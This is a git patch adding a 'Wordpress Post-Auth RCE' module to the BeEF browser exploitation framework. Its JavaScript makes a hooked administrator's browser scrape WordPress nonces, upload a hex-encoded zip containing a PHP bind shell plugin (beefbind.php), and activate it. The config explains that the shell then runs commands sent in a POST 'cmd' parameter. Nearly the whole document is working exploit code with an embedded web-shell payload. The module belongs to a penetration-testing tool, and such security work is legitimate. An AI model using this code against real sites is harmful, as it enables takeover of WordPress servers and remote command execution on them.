From c8e52608209d81215b6623d92d7d844cfcb68f6c Mon Sep 17 00:00:00 2001 From: bmantra Date: Tue, 29 Jul 2014 11:31:25 +0200 Subject: [PATCH] wordpress malicious plugin => BeEF Bind PHP --- .../misc/wordpress_post_auth_rce/command.js | 96 +++++++++++++++++++ .../misc/wordpress_post_auth_rce/config.yaml | 15 +++ .../misc/wordpress_post_auth_rce/module.rb | 19 ++++ 3 files changed, 130 insertions(+) create mode 100644 modules/misc/wordpress_post_auth_rce/command.js create mode 100644 modules/misc/wordpress_post_auth_rce/config.yaml create mode 100644 modules/misc/wordpress_post_auth_rce/module.rb diff --git a/modules/misc/wordpress_post_auth_rce/command.js b/modules/misc/wordpress_post_auth_rce/command.js new file mode 100644 index 000000000..59241a3f8 --- /dev/null +++ b/modules/misc/wordpress_post_auth_rce/command.js @@ -0,0 +1,96 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + + +beef.execute(function() { + var wordpress_url = '<%= @wordpress_url %>'; + var admin_directory = '/wp-admin'; + + log = function(data){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, data); + beef.debug(data); + }; + + getwpnonce = function(uri){ + var xhr = new XMLHttpRequest(); + xhr.open("GET", uri + '/plugin-install.php?tab=upload'); + xhr.onload=function() { + var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(xhr.responseText); + if (res.length == 1) { + nonce = /[a-z0-9]{10}/.exec(res[0]); + //continue only if we have extracted a nonce => upload the plugin + uploadBeefBindPhp(uri, nonce); + } + else { + log('Couldn\'t extract _wpnonce'); + } + } + xhr.send(); + } + + uploadBeefBindPhp = function (uri, nonce){ + var xhr = new XMLHttpRequest(); + // for WebKit-based browsers + if (!XMLHttpRequest.prototype.sendAsBinary) { + XMLHttpRequest.prototype.sendAsBinary = function (sData) { + var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); + for (var nIdx = 0; nIdx < nBytes; nIdx++) { + ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; + } + /* send as ArrayBufferView...: */ + this.send(ui8Data); + }; + } + xhr.open("POST", uri + '/update.php?action=upload-plugin',true); + boundary = "BEEFBEEF"; + xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=" + boundary ); + // zip contains beefbind.php: + post_data = "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"; + post_data += "\r\n"; + post_data += nonce + "\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n"; + post_data += "\r\n" + uri + "/plugin-install.php?tab=upload\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n"; + post_data += "filename=\"beefbind.zip\"\r\n"; + post_data += "Content-Type: application/octet-stream\r\n"; + post_data += "\r\n"; + post_data += "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xf0\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x6d\x50\x5d\x6b\x02\x31\x10\x7c\xf7\x57\x2c\x52\xf0\x14\xce\x3b\xa5\xf4\xc1\x96\xea\x79\xd5\x22\x88\x27\xda\x0f\x4a\x29\xe5\xcc\xad\x26\x6d\x2e\x09\x49\xe4\xea\xbf\xef\xc6\x17\xfb\xd0\xc7\xdd\x99\xd9\x9d\x99\xbb\xb1\xe1\xa6\x95\xf4\x7a\x2d\xe8\xc1\x5a\x1e\x0f\x42\xc1\xaa\xac\x71\x04\x3b\xc4\xfd\x4e\xa8\xea\x0f\xf0\xbc\x59\x8c\x80\x7b\x6f\x46\x49\x12\x60\x63\xf5\x17\x32\xdf\x67\xba\x0e\xac\x07\x74\xcc\x0a\xe3\x85\x56\x23\x98\xe2\x6c\x0e\x41\x0f\x8e\xa3\x94\xd0\x08\xcf\x21\x2f\x36\xdb\x7e\xa0\xbe\xa0\x75\x67\xda\xa0\x9f\x86\x39\x3b\x7a\xae\x2d\xa9\x4a\xeb\x61\x89\xc6\xa0\x72\x97\xfd\xe5\xb1\xa3\xcf\x9e\x4e\x79\xb4\xe1\x6b\xb2\xab\x4b\xe5\x6d\x19\xa8\x4b\xc1\x48\x44\xc6\x73\x6d\x4e\x56\x1c\xb8\x87\x88\x75\x61\x98\xa6\x37\xf1\x30\x1d\x5c\xc3\x6b\x59\x21\x64\x92\x69\xab\x20\x86\x86\xa6\x49\xf0\x77\xb6\xd7\x57\xe8\x69\x39\xb5\xba\x71\x68\x61\xf6\x63\xa4\x16\xbe\x0c\x51\x60\x6e\xa9\x8f\x46\xdb\x6f\x88\x42\xa8\x2e\xf1\xfe\xef\x80\x80\x2d\x22\x78\x8e\xb0\x17\x12\xa1\x53\x69\x96\xe4\xc5\xfa\x6d\xb1\x7a\xec\xc0\x9e\x72\x30\xb2\x26\xd4\x01\x0c\xda\x5a\xb8\xd0\x00\x39\x4f\x5a\x1c\xc9\x8c\x8d\xda\x19\x63\xe8\x5c\x9c\x6b\xca\xa4\x65\x9c\x49\xa9\x9b\xb8\xa0\x2c\x82\x9a\xea\xb5\xbb\xb7\x80\x8c\x6b\x98\xb8\x93\xf3\x58\x47\x57\x9f\xeb\x62\xfb\xf4\xde\x61\x75\xd5\xf9\x20\x70\x7c\xdf\xfa\x05\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xed\x41\x00\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x43\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xaa\x00\x00\x00\xd5\x01\x00\x00\x00\x00"; + post_data += "\r\n"; + post_data += "--" + boundary + "--\r\n" + + xhr.sendAsBinary(post_data); + xhr.onload=function() { + //extract the nonce for activating the plugin + var res = /plugin=beefbind.*_wpnonce=[a-z0-9]{10}/.exec(xhr.responseText); + + //activate plugin only if there is a nonce + if (res.length == 1) { + nonce = /[a-z0-9]{10}/.exec(res[0]); + activatePlugin(uri,nonce); + } + else { + log('Cannot activate plugin, no activation nonce available.'); + } + } + } + + activatePlugin = function(uri,nonce){ + var xhr = new XMLHttpRequest(); + xhr.open("GET", uri + '/plugins.php?action=activate&plugin=beefbind/beefbind.php&_wpnonce=' + nonce); + xhr.onload=function() { + log('BeEF bind plugin has been uploaded and activated'); + } + xhr.send(); + } + + //get the wordpress nonce first, then upload the plugin and finally activate the plugin + getwpnonce(wordpress_url + admin_directory); + +}); + diff --git a/modules/misc/wordpress_post_auth_rce/config.yaml b/modules/misc/wordpress_post_auth_rce/config.yaml new file mode 100644 index 000000000..3e459c53c --- /dev/null +++ b/modules/misc/wordpress_post_auth_rce/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + wordpress_post_auth_rce: + enable: true + category: "Misc" + name: "Wordpress Post-Auth RCE" + description: "This module attempts to upload and activate a malicious wordpress plugin. Afterwards, the URI to trigger it is: http://vulnerable-wordpress.site/wordpress/wp-content/plugins/beefbind/beefbind.php. The command to execute can be send by a POST-parameter named 'cmd'. CORS headers have been added to allow bidirectional crossdomain communication." + authors: ["Bart Leppens"] + target: + working: ["ALL"] diff --git a/modules/misc/wordpress_post_auth_rce/module.rb b/modules/misc/wordpress_post_auth_rce/module.rb new file mode 100644 index 000000000..821a00c61 --- /dev/null +++ b/modules/misc/wordpress_post_auth_rce/module.rb @@ -0,0 +1,19 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Wordpress_post_auth_rce < BeEF::Core::Command + + def self.options + return [ + {'name'=>'wordpress_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-wordpress.site/wordpress','width'=>'400px'} + ] + end + + def post_execute + return if @datastore['result'].nil? + save({'result' => @datastore['result']}) + end + +end